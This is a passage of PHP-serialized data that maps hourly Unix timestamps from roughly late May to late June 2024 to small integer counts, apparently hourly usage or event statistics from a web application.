17020000;a:1:{i:0;i:14;}i:1717023600;a:1:{i:0;i:12;}i:1717027200;a:1:{i:0;i:8;}i:1717030800;a:1:{i:0;i:11;}i:1717034400;a:1:{i:0;i:8;}i:1717038000;a:1:{i:0;i:13;}i:1717041600;a:1:{i:0;i:15;}i:1717045200;a:1:{i:0;i:19;}i:1717048800;a:1:{i:0;i:21;}i:1717052400;a:1:{i:0;i:15;}i:1717056000;a:1:{i:0;i:15;}i:1717059600;a:1:{i:0;i:17;}i:1717063200;a:1:{i:0;i:10;}i:1717066800;a:1:{i:0;i:7;}i:1717070400;a:1:{i:0;i:8;}i:1717074000;a:1:{i:0;i:6;}i:1717077600;a:1:{i:0;i:9;}i:1717081200;a:1:{i:0;i:7;}i:1717084800;a:1:{i:0;i:6;}i:1717088400;a:1:{i:0;i:19;}i:1717092000;a:1:{i:0;i:10;}i:1717095600;a:1:{i:0;i:10;}i:1717099200;a:1:{i:0;i:8;}i:1717102800;a:1:{i:0;i:6;}i:1717106400;a:1:{i:0;i:6;}i:1717110000;a:1:{i:0;i:6;}i:1717113600;a:1:{i:0;i:8;}i:1717117200;a:1:{i:0;i:21;}i:1717120800;a:1:{i:0;i:16;}i:1717124400;a:1:{i:0;i:18;}i:1717128000;a:1:{i:0;i:18;}i:1717131600;a:1:{i:0;i:21;}i:1717135200;a:1:{i:0;i:25;}i:1717138800;a:1:{i:0;i:20;}i:1717142400;a:1:{i:0;i:22;}i:1717146000;a:1:{i:0;i:7;}i:1717149600;a:1:{i:0;i:8;}i:1717153200;a:1:{i:0;i:7;}i:1717156800;a:1:{i:0;i:10;}i:1717160400;a:1:{i:0;i:13;}i:1717164000;a:1:{i:0;i:20;}i:1717167600;a:1:{i:0;i:14;}i:1717171200;a:1:{i:0;i:14;}i:1717174800;a:1:{i:0;i:12;}i:1717178400;a:1:{i:0;i:15;}i:1717182000;a:1:{i:0;i:11;}i:1717185600;a:1:{i:0;i:17;}i:1717189200;a:1:{i:0;i:22;}i:1717192800;a:1:{i:0;i:27;}i:1717196400;a:1:{i:0;i:11;}i:1717200000;a:1:{i:0;i:7;}i:1717203600;a:1:{i:0;i:13;}i:1717207200;a:1:{i:0;i:7;}i:1717221600;a:1:{i:0;i:1;}i:1717236000;a:1:{i:0;i:1;}i:1717239600;a:1:{i:0;i:3;}i:1717243200;a:1:{i:0;i:6;}i:1717246800;a:1:{i:0;i:7;}i:1717250400;a:1:{i:0;i:7;}i:1717254000;a:1:{i:0;i:5;}i:1717257600;a:1:{i:0;i:8;}i:1717261200;a:1:{i:0;i:8;}i:1717264800;a:1:{i:0;i:9;}i:1717268400;a:1:{i:0;i:13;}i:1717272000;a:1:{i:0;i:9;}i:1717275600;a:1:{i:0;i:20;}i:1717279200;a:1:{i:0;i:15;}i:1717282800;a:1:{i:0;i:16;}i:1717286400;a:1:{i:0;i:15;}i:1717290000;a:1:{i:0;i:14;}i:1717293600;a:1:{i:0;i:14;}i:1717297200;a:1:{i:0;i:14;}i:1717300800;a:1:{i:0;i:12;}i:1717304400;a:1:{i:0;i:11;}i:1717308000;a:1:{i:0;i:14;}i:1717311600;a:1:{i:0;i:9;}i:1717315200;a:1:{i:0;i:11;}i:1717318800;a:1:{i:0;i:10;}i:1717322400;a:1:{i:0;i:11;}i:1717326000;a:1:{i:0;i:6;}i:1717329600;a:1:{i:0;i:2;}i:1717333200;a:1:{i:0;i:9;}i:1717336800;a:1:{i:0;i:3;}i:1717340400;a:1:{i:0;i:4;}i:1717344000;a:1:{i:0;i:4;}i:1717347600;a:1:{i:0;i:2;}i:1717351200;a:1:{i:0;i:7;}i:1717354800;a:1:{i:0;i:11;}i:1717358400;a:1:{i:0;i:13;}i:1717362000;a:1:{i:0;i:4;}i:1717365600;a:1:{i:0;i:3;}i:1717369200;a:1:{i:0;i:4;}i:1717372800;a:1:{i:0;i:4;}i:1717376400;a:1:{i:0;i:2;}i:1717380000;a:1:{i:0;i:4;}i:1717383600;a:1:{i:0;i:5;}i:1717387200;a:1:{i:0;i:8;}i:1717390800;a:1:{i:0;i:10;}i:1717394400;a:1:{i:0;i:7;}i:1717398000;a:1:{i:0;i:8;}i:1717401600;a:1:{i:0;i:11;}i:1717405200;a:1:{i:0;i:16;}i:1717408800;a:1:{i:0;i:11;}i:1717412400;a:1:{i:0;i:12;}i:1717416000;a:1:{i:0;i:11;}i:1717419600;a:1:{i:0;i:2;}i:1717423200;a:1:{i:0;i:1;}i:1717426800;a:1:{i:0;i:4;}i:1717430400;a:1:{i:0;i:5;}i:1717434000;a:1:{i:0;i:6;}i:1717437600;a:1:{i:0;i:3;}i:1717441200;a:1:{i:0;i:4;}i:1717444800;a:1:{i:0;i:6;}i:1717448400;a:1:{i:0;i:5;}i:1717452000;a:1:{i:0;i:8;}i:1717455600;a:1:{i:0;i:8;}i:1717459200;a:1:{i:0;i:5;}i:1717462800;a:1:{i:0;i:8;}i:1717466400;a:1:{i:0;i:6;}i:1717470000;a:1:{i:0;i:22;}i:1717473600;a:1:{i:0;i:8;}i:1717477200;a:1:{i:0;i:10;}i:1717480800;a:1:{i:0;i:13;}i:1717484400;a:1:{i:0;i:10;}i:1717488000;a:1:{i:0;i:24;}i:1717491600;a:1:{i:0;i:18;}i:1717495200;a:1:{i:0;i:19;}i:1717498800;a:1:{i:0;i:13;}i:1717502400;a:1:{i:0;i:20;}i:1717506000;a:1:{i:0;i:8;}i:1717509600;a:1:{i:0;i:19;}i:1717513200;a:1:{i:0;i:9;}i:1717516800;a:1:{i:0;i:21;}i:1717520400;a:1:{i:0;i:8;}i:1717524000;a:1:{i:0;i:20;}i:1717527600;a:1:{i:0;i:7;}i:1717531200;a:1:{i:0;i:22;}i:1717534800;a:1:{i:0;i:13;}i:1717538400;a:1:{i:0;i:22;}i:1717542000;a:1:{i:0;i:11;}i:1717545600;a:1:{i:0;i:24;}i:1717549200;a:1:{i:0;i:13;}i:1717552800;a:1:{i:0;i:18;}i:1717556400;a:1:{i:0;i:9;}i:1717560000;a:1:{i:0;i:23;}i:1717563600;a:1:{i:0;i:5;}i:1717567200;a:1:{i:0;i:23;}i:1717570800;a:1:{i:0;i:3;}i:1717588800;a:1:{i:0;i:12;}i:1717592400;a:1:{i:0;i:5;}i:1717596000;a:1:{i:0;i:10;}i:1717599600;a:1:{i:0;i:3;}i:1717603200;a:1:{i:0;i:1;}i:1717624800;a:1:{i:0;i:14;}i:1717632000;a:1:{i:0;i:12;}i:1717635600;a:1:{i:0;i:2;}i:1717639200;a:1:{i:0;i:18;}i:1717642800;a:1:{i:0;i:4;}i:1717646400;a:1:{i:0;i:2;}i:1717650000;a:1:{i:0;i:17;}i:1717653600;a:1:{i:0;i:14;}i:1717657200;a:1:{i:0;i:8;}i:1717660800;a:1:{i:0;i:6;}i:1717664400;a:1:{i:0;i:16;}i:1717668000;a:1:{i:0;i:8;}i:1717671600;a:1:{i:0;i:17;}i:1717675200;a:1:{i:0;i:2;}i:1717678800;a:1:{i:0;i:12;}i:1717682400;a:1:{i:0;i:4;}i:1717686000;a:1:{i:0;i:5;}i:1717689600;a:1:{i:0;i:13;}i:1717693200;a:1:{i:0;i:24;}i:1717696800;a:1:{i:0;i:16;}i:1717700400;a:1:{i:0;i:3;}i:1717704000;a:1:{i:0;i:5;}i:1717707600;a:1:{i:0;i:19;}i:1717711200;a:1:{i:0;i:4;}i:1717714800;a:1:{i:0;i:14;}i:1717718400;a:1:{i:0;i:6;}i:1717722000;a:1:{i:0;i:4;}i:1717725600;a:1:{i:0;i:5;}i:1717729200;a:1:{i:0;i:5;}i:1717732800;a:1:{i:0;i:18;}i:1717736400;a:1:{i:0;i:4;}i:1717740000;a:1:{i:0;i:17;}i:1717743600;a:1:{i:0;i:8;}i:1717747200;a:1:{i:0;i:21;}i:1717750800;a:1:{i:0;i:13;}i:1717754400;a:1:{i:0;i:2;}i:1717758000;a:1:{i:0;i:13;}i:1717761600;a:1:{i:0;i:1;}i:1717765200;a:1:{i:0;i:11;}i:1717768800;a:1:{i:0;i:15;}i:1717772400;a:1:{i:0;i:12;}i:1717776000;a:1:{i:0;i:4;}i:1717779600;a:1:{i:0;i:17;}i:1717783200;a:1:{i:0;i:6;}i:1717786800;a:1:{i:0;i:15;}i:1717790400;a:1:{i:0;i:3;}i:1717794000;a:1:{i:0;i:15;}i:1717797600;a:1:{i:0;i:5;}i:1717801200;a:1:{i:0;i:15;}i:1717804800;a:1:{i:0;i:4;}i:1717808400;a:1:{i:0;i:6;}i:1717812000;a:1:{i:0;i:17;}i:1717815600;a:1:{i:0;i:3;}i:1717819200;a:1:{i:0;i:16;}i:1717822800;a:1:{i:0;i:7;}i:1717826400;a:1:{i:0;i:4;}i:1717830000;a:1:{i:0;i:3;}i:1717833600;a:1:{i:0;i:18;}i:1717837200;a:1:{i:0;i:17;}i:1717840800;a:1:{i:0;i:8;}i:1717844400;a:1:{i:0;i:19;}i:1717848000;a:1:{i:0;i:10;}i:1717851600;a:1:{i:0;i:23;}i:1717855200;a:1:{i:0;i:19;}i:1717858800;a:1:{i:0;i:10;}i:1717862400;a:1:{i:0;i:22;}i:1717866000;a:1:{i:0;i:10;}i:1717869600;a:1:{i:0;i:26;}i:1717873200;a:1:{i:0;i:16;}i:1717876800;a:1:{i:0;i:13;}i:1717880400;a:1:{i:0;i:23;}i:1717884000;a:1:{i:0;i:23;}i:1717887600;a:1:{i:0;i:9;}i:1717891200;a:1:{i:0;i:21;}i:1717894800;a:1:{i:0;i:25;}i:1717898400;a:1:{i:0;i:11;}i:1717902000;a:1:{i:0;i:25;}i:1717905600;a:1:{i:0;i:26;}i:1717909200;a:1:{i:0;i:11;}i:1717912800;a:1:{i:0;i:29;}i:1717916400;a:1:{i:0;i:29;}i:1717920000;a:1:{i:0;i:12;}i:1717923600;a:1:{i:0;i:24;}i:1717927200;a:1:{i:0;i:15;}i:1717930800;a:1:{i:0;i:14;}i:1717934400;a:1:{i:0;i:9;}i:1717938000;a:1:{i:0;i:14;}i:1717941600;a:1:{i:0;i:13;}i:1717945200;a:1:{i:0;i:6;}i:1717948800;a:1:{i:0;i:19;}i:1717952400;a:1:{i:0;i:17;}i:1717956000;a:1:{i:0;i:21;}i:1717959600;a:1:{i:0;i:5;}i:1717963200;a:1:{i:0;i:317;}i:1717966800;a:1:{i:0;i:450;}i:1717970400;a:1:{i:0;i:15;}i:1717974000;a:1:{i:0;i:30;}i:1717977600;a:1:{i:0;i:31;}i:1717981200;a:1:{i:0;i:17;}i:1717984800;a:1:{i:0;i:22;}i:1717988400;a:1:{i:0;i:28;}i:1717992000;a:1:{i:0;i:20;}i:1717995600;a:1:{i:0;i:27;}i:1717999200;a:1:{i:0;i:24;}i:1718002800;a:1:{i:0;i:11;}i:1718006400;a:1:{i:0;i:19;}i:1718010000;a:1:{i:0;i:22;}i:1718013600;a:1:{i:0;i:13;}i:1718017200;a:1:{i:0;i:23;}i:1718020800;a:1:{i:0;i:21;}i:1718024400;a:1:{i:0;i:5;}i:1718028000;a:1:{i:0;i:14;}i:1718031600;a:1:{i:0;i:11;}i:1718035200;a:1:{i:0;i:10;}i:1718038800;a:1:{i:0;i:14;}i:1718042400;a:1:{i:0;i:13;}i:1718046000;a:1:{i:0;i:12;}i:1718049600;a:1:{i:0;i:34;}i:1718053200;a:1:{i:0;i:17;}i:1718056800;a:1:{i:0;i:14;}i:1718060400;a:1:{i:0;i:18;}i:1718064000;a:1:{i:0;i:9;}i:1718067600;a:1:{i:0;i:13;}i:1718071200;a:1:{i:0;i:6;}i:1718074800;a:1:{i:0;i:16;}i:1718078400;a:1:{i:0;i:19;}i:1718082000;a:1:{i:0;i:20;}i:1718085600;a:1:{i:0;i:30;}i:1718089200;a:1:{i:0;i:21;}i:1718092800;a:1:{i:0;i:19;}i:1718096400;a:1:{i:0;i:18;}i:1718100000;a:1:{i:0;i:13;}i:1718103600;a:1:{i:0;i:17;}i:1718107200;a:1:{i:0;i:16;}i:1718110800;a:1:{i:0;i:16;}i:1718114400;a:1:{i:0;i:5;}i:1718118000;a:1:{i:0;i:6;}i:1718121600;a:1:{i:0;i:3;}i:1718125200;a:1:{i:0;i:5;}i:1718128800;a:1:{i:0;i:4;}i:1718132400;a:1:{i:0;i:4;}i:1718136000;a:1:{i:0;i:4;}i:1718139600;a:1:{i:0;i:3;}i:1718143200;a:1:{i:0;i:4;}i:1718146800;a:1:{i:0;i:5;}i:1718150400;a:1:{i:0;i:4;}i:1718154000;a:1:{i:0;i:6;}i:1718157600;a:1:{i:0;i:2;}i:1718161200;a:1:{i:0;i:5;}i:1718164800;a:1:{i:0;i:13;}i:1718168400;a:1:{i:0;i:12;}i:1718172000;a:1:{i:0;i:19;}i:1718175600;a:1:{i:0;i:10;}i:1718179200;a:1:{i:0;i:15;}i:1718182800;a:1:{i:0;i:10;}i:1718186400;a:1:{i:0;i:12;}i:1718190000;a:1:{i:0;i:8;}i:1718193600;a:1:{i:0;i:9;}i:1718197200;a:1:{i:0;i:6;}i:1718200800;a:1:{i:0;i:5;}i:1718204400;a:2:{i:0;i:3;i:1;i:1;}i:1718208000;a:1:{i:0;i:6;}i:1718211600;a:1:{i:0;i:5;}i:1718215200;a:1:{i:0;i:3;}i:1718218800;a:1:{i:0;i:3;}i:1718222400;a:1:{i:0;i:9;}i:1718226000;a:1:{i:0;i:12;}i:1718229600;a:1:{i:0;i:6;}i:1718233200;a:1:{i:0;i:13;}i:1718236800;a:1:{i:0;i:13;}i:1718240400;a:1:{i:0;i:4;}i:1718244000;a:1:{i:0;i:2;}i:1718247600;a:1:{i:0;i:6;}i:1718251200;a:1:{i:0;i:6;}i:1718254800;a:1:{i:0;i:13;}i:1718258400;a:1:{i:0;i:11;}i:1718262000;a:1:{i:0;i:10;}i:1718265600;a:1:{i:0;i:9;}i:1718269200;a:1:{i:0;i:6;}i:1718272800;a:1:{i:0;i:10;}i:1718276400;a:1:{i:0;i:8;}i:1718280000;a:1:{i:0;i:9;}i:1718283600;a:1:{i:0;i:6;}i:1718287200;a:1:{i:0;i:5;}i:1718290800;a:1:{i:0;i:7;}i:1718294400;a:1:{i:0;i:6;}i:1718298000;a:1:{i:0;i:3;}i:1718301600;a:1:{i:0;i:5;}i:1718305200;a:1:{i:0;i:3;}i:1718308800;a:1:{i:0;i:3;}i:1718312400;a:1:{i:0;i:6;}i:1718316000;a:1:{i:0;i:4;}i:1718319600;a:1:{i:0;i:6;}i:1718323200;a:1:{i:0;i:5;}i:1718326800;a:1:{i:0;i:5;}i:1718330400;a:1:{i:0;i:5;}i:1718334000;a:1:{i:0;i:3;}i:1718337600;a:1:{i:0;i:7;}i:1718341200;a:1:{i:0;i:3;}i:1718344800;a:1:{i:0;i:4;}i:1718348400;a:1:{i:0;i:6;}i:1718352000;a:1:{i:0;i:6;}i:1718355600;a:1:{i:0;i:9;}i:1718359200;a:1:{i:0;i:12;}i:1718362800;a:1:{i:0;i:8;}i:1718366400;a:1:{i:0;i:11;}i:1718370000;a:1:{i:0;i:8;}i:1718373600;a:1:{i:0;i:9;}i:1718380800;a:1:{i:0;i:3;}i:1718384400;a:1:{i:0;i:3;}i:1718388000;a:1:{i:0;i:2;}i:1718391600;a:1:{i:0;i:5;}i:1718395200;a:1:{i:0;i:4;}i:1718398800;a:1:{i:0;i:4;}i:1718402400;a:1:{i:0;i:5;}i:1718406000;a:1:{i:0;i:3;}i:1718409600;a:1:{i:0;i:10;}i:1718413200;a:1:{i:0;i:8;}i:1718416800;a:1:{i:0;i:10;}i:1718420400;a:1:{i:0;i:10;}i:1718424000;a:1:{i:0;i:13;}i:1718427600;a:1:{i:0;i:16;}i:1718431200;a:1:{i:0;i:18;}i:1718434800;a:1:{i:0;i:15;}i:1718438400;a:1:{i:0;i:18;}i:1718442000;a:1:{i:0;i:16;}i:1718445600;a:1:{i:0;i:23;}i:1718449200;a:1:{i:0;i:14;}i:1718452800;a:1:{i:0;i:7;}i:1718456400;a:1:{i:0;i:3;}i:1718460000;a:1:{i:0;i:2;}i:1718463600;a:1:{i:0;i:6;}i:1718467200;a:1:{i:0;i:4;}i:1718470800;a:1:{i:0;i:2;}i:1718474400;a:1:{i:0;i:3;}i:1718478000;a:1:{i:0;i:3;}i:1718481600;a:1:{i:0;i:2;}i:1718485200;a:1:{i:0;i:7;}i:1718488800;a:1:{i:0;i:4;}i:1718492400;a:1:{i:0;i:2;}i:1718496000;a:1:{i:0;i:1;}i:1718506800;a:1:{i:0;i:1;}i:1718510400;a:1:{i:0;i:3;}i:1718514000;a:1:{i:0;i:28;}i:1718517600;a:1:{i:0;i:17;}i:1718521200;a:1:{i:0;i:23;}i:1718524800;a:1:{i:0;i:22;}i:1718528400;a:1:{i:0;i:3;}i:1718532000;a:1:{i:0;i:5;}i:1718535600;a:1:{i:0;i:27;}i:1718539200;a:1:{i:0;i:20;}i:1718542800;a:1:{i:0;i:6;}i:1718546400;a:1:{i:0;i:4;}i:1718550000;a:1:{i:0;i:5;}i:1718553600;a:1:{i:0;i:7;}i:1718557200;a:1:{i:0;i:8;}i:1718560800;a:1:{i:0;i:8;}i:1718564400;a:1:{i:0;i:6;}i:1718568000;a:1:{i:0;i:17;}i:1718571600;a:1:{i:0;i:15;}i:1718575200;a:1:{i:0;i:15;}i:1718578800;a:1:{i:0;i:13;}i:1718582400;a:1:{i:0;i:12;}i:1718586000;a:1:{i:0;i:14;}i:1718589600;a:1:{i:0;i:10;}i:1718593200;a:1:{i:0;i:16;}i:1718596800;a:1:{i:0;i:13;}i:1718600400;a:1:{i:0;i:17;}i:1718604000;a:1:{i:0;i:18;}i:1718607600;a:1:{i:0;i:15;}i:1718611200;a:1:{i:0;i:11;}i:1718614800;a:1:{i:0;i:16;}i:1718618400;a:1:{i:0;i:13;}i:1718622000;a:1:{i:0;i:9;}i:1718625600;a:1:{i:0;i:10;}i:1718629200;a:1:{i:0;i:11;}i:1718632800;a:1:{i:0;i:1;}i:1718636400;a:1:{i:0;i:4;}i:1718640000;a:1:{i:0;i:1;}i:1718643600;a:1:{i:0;i:5;}i:1718647200;a:1:{i:0;i:3;}i:1718650800;a:1:{i:0;i:7;}i:1718654400;a:1:{i:0;i:4;}i:1718658000;a:1:{i:0;i:6;}i:1718661600;a:1:{i:0;i:6;}i:1718665200;a:1:{i:0;i:7;}i:1718668800;a:1:{i:0;i:5;}i:1718672400;a:1:{i:0;i:5;}i:1718676000;a:1:{i:0;i:11;}i:1718679600;a:1:{i:0;i:3;}i:1718683200;a:1:{i:0;i:10;}i:1718686800;a:1:{i:0;i:1;}i:1718690400;a:1:{i:0;i:2;}i:1718694000;a:1:{i:0;i:2;}i:1718697600;a:1:{i:0;i:4;}i:1718701200;a:1:{i:0;i:4;}i:1718704800;a:1:{i:0;i:8;}i:1718708400;a:1:{i:0;i:4;}i:1718712000;a:1:{i:0;i:5;}i:1718715600;a:1:{i:0;i:2;}i:1718722800;a:1:{i:0;i:7;}i:1718726400;a:1:{i:0;i:3;}i:1718730000;a:1:{i:0;i:4;}i:1718733600;a:1:{i:0;i:3;}i:1718737200;a:1:{i:0;i:3;}i:1718740800;a:1:{i:0;i:7;}i:1718744400;a:1:{i:0;i:6;}i:1718748000;a:1:{i:0;i:4;}i:1718751600;a:1:{i:0;i:5;}i:1718755200;a:1:{i:0;i:4;}i:1718758800;a:1:{i:0;i:3;}i:1718762400;a:1:{i:0;i:4;}i:1718766000;a:1:{i:0;i:6;}i:1718769600;a:1:{i:0;i:2;}i:1718773200;a:1:{i:0;i:5;}i:1718776800;a:1:{i:0;i:5;}i:1718780400;a:1:{i:0;i:4;}i:1718784000;a:1:{i:0;i:4;}i:1718787600;a:1:{i:0;i:4;}i:1718791200;a:1:{i:0;i:3;}i:1718794800;a:1:{i:0;i:4;}i:1718798400;a:1:{i:0;i:7;}i:1718802000;a:1:{i:0;i:3;}i:1718805600;a:1:{i:0;i:2;}i:1718809200;a:1:{i:0;i:2;}i:1718812800;a:1:{i:0;i:4;}i:1718816400;a:1:{i:0;i:6;}i:1718820000;a:1:{i:0;i:4;}i:1718823600;a:1:{i:0;i:3;}i:1718827200;a:1:{i:0;i:4;}i:1718830800;a:1:{i:0;i:4;}i:1718834400;a:1:{i:0;i:5;}i:1718838000;a:1:{i:0;i:7;}i:1718841600;a:1:{i:0;i:4;}i:1718845200;a:1:{i:0;i:2;}i:1718848800;a:1:{i:0;i:3;}i:1718852400;a:1:{i:0;i:12;}i:1718856000;a:1:{i:0;i:14;}i:1718859600;a:1:{i:0;i:10;}i:1718863200;a:1:{i:0;i:13;}i:1718866800;a:1:{i:0;i:11;}i:1718870400;a:1:{i:0;i:13;}i:1718874000;a:1:{i:0;i:15;}i:1718877600;a:1:{i:0;i:13;}i:1718881200;a:1:{i:0;i:14;}i:1718884800;a:1:{i:0;i:11;}i:1718888400;a:1:{i:0;i:11;}i:1718892000;a:1:{i:0;i:7;}i:1718895600;a:1:{i:0;i:3;}i:1718899200;a:1:{i:0;i:6;}i:1718902800;a:1:{i:0;i:5;}i:1718910000;a:1:{i:0;i:1;}i:1718920800;a:1:{i:0;i:3;}i:1718924400;a:1:{i:0;i:10;}i:1718935200;a:1:{i:0;i:1;}i:1718942400;a:1:{i:0;i:1;}i:1718946000;a:1:{i:0;i:6;}i:1718949600;a:1:{i:0;i:7;}i:1718953200;a:1:{i:0;i:5;}i:1718956800;a:1:{i:0;i:5;}i:1718960400;a:1:{i:0;i:6;}i:1718964000;a:1:{i:0;i:4;}i:1718967600;a:1:{i:0;i:5;}i:1718971200;a:1:{i:0;i:5;}i:1718974800;a:1:{i:0;i:5;}i:1718978400;a:1:{i:0;i:3;}i:1718982000;a:1:{i:0;i:5;}i:1718985600;a:1:{i:0;i:2;}i:1718989200;a:1:{i:0;i:3;}i:1718992800;a:1:{i:0;i:2;}i:1718996400;a:1:{i:0;i:13;}i:1719000000;a:1:{i:0;i:1;}i:1719003600;a:1:{i:0;i:3;}i:1719007200;a:1:{i:0;i:4;}i:1719010800;a:1:{i:0;i:4;}i:1719014400;a:1:{i:0;i:5;}i:1719018000;a:1:{i:0;i:4;}i:1719021600;a:1:{i:0;i:6;}i:1719025200;a:1:{i:0;i:2;}i:1719028800;a:1:{i:0;i:3;}i:1719032400;a:1:{i:0;i:3;}i:1719036000;a:1:{i:0;i:12;}i:1719039600;a:1:{i:0;i:10;}i:1719043200;a:1:{i:0;i:6;}i:1719046800;a:1:{i:0;i:6;}i:1719050400;a:1:{i:0;i:6;}i:1719054000;a:1:{i:0;i:5;}i:1719057600;a:1:{i:0;i:6;}i:1719061200;a:1:{i:0;i:5;}i:1719064800;a:1:{i:0;i:6;}i:1719068400;a:1:{i:0;i:3;}i:1719072000;a:1:{i:0;i:6;}i:1719075600;a:1:{i:0;i:7;}i:1719079200;a:1:{i:0;i:9;}i:1719082800;a:1:{i:0;i:5;}i:1719086400;a:1:{i:0;i:6;}i:1719090000;a:1:{i:0;i:5;}i:1719093600;a:1:{i:0;i:8;}i:1719097200;a:1:{i:0;i:4;}i:1719100800;a:1:{i:0;i:7;}i:1719104400;a:1:{i:0;i:4;}i:1719108000;a:1:{i:0;i:6;}i:1719111600;a:1:{i:0;i:5;}i:1719115200;a:1:{i:0;i:4;}i:1719118800;a:1:{i:0;i:33;}i:1719122400;a:1:{i:0;i:9;}i:1719126000;a:1:{i:0;i:6;}i:1719129600;a:1:{i:0;i:8;}i:1719133200;a:1:{i:0;i:13;}i:1719136800;a:1:{i:0;i:11;}i:1719140400;a:1:{i:0;i:9;}i:1719144000;a:1:{i:0;i:9;}i:1719147600;a:1:{i:0;i:13;}i:1719151200;a:1:{i:0;i:4;}i:1719154800;a:1:{i:0;i:3;}i:1719162000;a:1:{i:0;i:3;}i:1719165600;a:1:{i:0;i:1;}i:1719169200;a:1:{i:0;i:2;}i:1719172800;a:1:{i:0;i:2;}i:1719176400;a:1:{i:0;i:5;}i:1719180000;a:1:{i:0;i:3;}i:1719183600;a:1:{i:0;i:2;}i:1719187200;a:1:{i:0;i:3;}i:1719190800;a:1:{i:0;i:8;}i:1719194400;a:1:{i:0;i:3;}i:1719198000;a:1:{i:0;i:3;}i:1719201600;a:1:{i:0;i:6;}i:1719205200;a:1:{i:0;i:7;}i:1719208800;a:1:{i:0;i:6;}i:1719212400;a:1:{i:0;i:13;}i:1719216000;a:1:{i:0;i:9;}i:1719219600;a:1:{i:0;i:13;}i:1719223200;a:1:{i:0;i:7;}i:1719226800;a:1:{i:0;i:5;}i:1719230400;a:1:{i:0;i:8;}i:1719237600;a:1:{i:0;i:5;}i:1719241200;a:1:{i:0;i:9;}i:1719244800;a:1:{i:0;i:25;}i:1719252000;a:1:{i:0;i:5;}i:1719259200;a:1:{i:0;i:10;}i:1719262800;a:1:{i:0;i:5;}i:1719266400;a:1:{i:0;i:3;}i:1719270000;a:1:{i:0;i:8;}i:1719273600;a:1:{i:0;i:10;}i:1719277200;a:1:{i:0;i:3;}i:1719280800;a:1:{i:0;i:3;}i:1719284400;a:1:{i:0;i:11;}i:1719288000;a:1:{i:0;i:10;}i:1719291600;a:1:{i:0;i:6;}i:1719295200;a:1:{i:0;i:8;}i:1719298800;a:1:{i:0;i:16;}i:1719302400;a:1:{i:0;i:19;}i:1719306000;a:1:{i:0;i:14;}i:1719309600;a:1:{i:0;i:7;}i:1719313200;a:1:{i:0;i:16;}i:1719316800;a:1:{i:0;i:4;}i:1719320400;a:1:{i:0;i:5;}i:1719324000;a:1:{i:0;i:10;}i:1719327600;a:1:{i:0;i:6;}i:1719331200;a:1:{i:0;i:3;}i:1719334800;a:1:{i:0;i:10;}i:1719338400;a:1:{i:0;i:10;}i:1719342000;a:1:{i:0;i:4;}i:1719345600;a:1:{i:0;i:3;}i:1719349200;a:1:{i:0;i:4;}i:1719352800;a:1:{i:0;i:7;}i:1719356400;a:1:{i:0;i:4;}i:1719360000;a:1:{i:0;i:6;}i:1719363600;a:1:{i:0;i:5;}i:1719367200;a:1:{i:0;i:9;}i:1719370800;a:1:{i:0;i:8;}i:1719374400;a:1:{i:0;i:34;}i:1719378000;a:1:{i:0;i:6;}i:1719381600;a:1:{i:0;i:7;}i:1719385200;a:1:{i:0;i:15;}i:1719388800;a:1:{i:0;i:12;}i:1719392400;a:1:{i:0;i:11;}i:1719396000;a:1:{i:0;i:10;}i:1719399600;a:1:{i:0;i:11;}i:1719403200;a:1:{i:0;i:7;}i:1719406800;a:1:{i:0;i:11;}i:1719410400;a:1:{i:0;i:6;}i:1719414000;a:1:{i:0;i:6;}i:1719417600;a:1:{i:0;i:4;}i:1719421200;a:1:{i:0;i:8;}i:1719424800;a:1:{i:0;i:4;}i:1719428400;a:1:{i:0;i:6;}i:1719432000;a:1:{i:0;i:3;}i:1719435600;a:1:{i:0;i:6;}i:1719439200;a:1:{i:0;i:5;}i:1719442800;a:1:{i:0;i:14;}i:1719446400;a:1:{i:0;i:11;}i:1719450000;a:1:{i:0;i:14;}i:1719453600;a:1:{i:0;i:12;}i:1719457200;a:1:{i:0;i:11;}i:1719460800;a:1:{i:0;i:9;}i:1719464400;a:1:{i:0;i:17;}i:1719468000;a:1:{i:0;i:41;}i:1719471600;a:1:{i:0;i:28;}i:1719475200;a:1:{i:0;i:29;}i:1719478800;a:1:{i:0;i:23;}i:1719482400;a:1:{i:0;i:14;}i:1719486000;a:1:{i:0;i:14;}i:1719489600;a:1:{i:0;i:15;}i:1719493200;a:1:{i:0;i:4;}i:1719496800;a:1:{i:0;i:6;}i:1719500400;a:1:{i:0;i:3;}i:1719504000;a:1:{i:0;i:5;}i:1719507600;a:1:{i:0;i:4;}i:1719511200;a:1:{i:0;i:6;}i:1719514800;a:1:{i:0;i:6;}i:1719518400;a:1:{i:0;i:11;}i:1719522000;a:1:{i:0;i:8;}i:1719525600;a:1:{i:0;i:7;}i:1719529200;a:1:{i:0;i:8;}i:1719532800;a:1:{i:0;i:9;}i:1719536400;a:1:{i:0;i:8;}i:1719540000;a:1:{i:0;i:6;}i:1719543600;a:1:{i:0;i:8;}i:1719547200;a:1:{i:0;i:12;}i:1719550800;a:1:{i:0;i:6;}i:1719554400;a:1:{i:0;i:8;}i:1719558000;a:1:{i:0;i:11;}i:1719561600;a:1:{i:0;i:15;}i:1719565200;a:1:{i:0;i:5;}i:1719568800;a:1:{i:0;i:4;}i:1719572400;a:1:{i:0;i:8;}i:1719576000;a:1:{i:0;i:8;}i:1719579600;a:1:{i:0;i:13;}i:1719583200;a:1:{i:0;i:13;}i:1719586800;a:1:{i:0;i:10;}i:1719590400;a:1:{i:0;i:8;}i:1719594000;a:1:{i:0;i:8;}i:1719597600;a:1:{i:0;i:7;}i:1719601200;a:1:{i:0;i:10;}i:1719604800;a:1:{i:0;i:7;}i:1719608400;a:1:{i:0;i:8;}i:1719612000;a:1:{i:0;i:6;}i:1719615600;a:1:{i:0;i:11;}i:1719619200;a:1:{i:0;i:9;}i:1719622800;a:1:{i:0;i:6;}i:1719626400;a:1:{i:0;i:8;}i:1719630000;a:1:{i:0;i:8;}i:1719633600;a:1:{i:0;i:6;}i:1719637200;a:1:{i:0;i:32;}i:1719640800;a:1:{i:0;i:58;}i:1719644400;a:1:{i:0;i:7;}i:1719655200;a:1:{i:0;i:4;}i:1719669600;a:1:{i:0;i:3;}i:1719684000;a:1:{i:0;i:4;}i:1719698400;a:1:{i:0;i:6;}i:1719702000;a:1:{i:0;i:10;}i:1719705600;a:1:{i:0;i:3;}i:1719712800;a:1:{i:0;i:9;}i:1719716400;a:1:{i:0;i:19;}i:1719720000;a:1:{i:0;i:17;}i:1719723600;a:1:{i:0;i:12;}i:1719727200;a:1:{i:0;i:16;}i:1719730800;a:1:{i:0;i:10;}i:1719734400;a:1:{i:0;i:10;}i:1719738000;a:1:{i:0;i:12;}i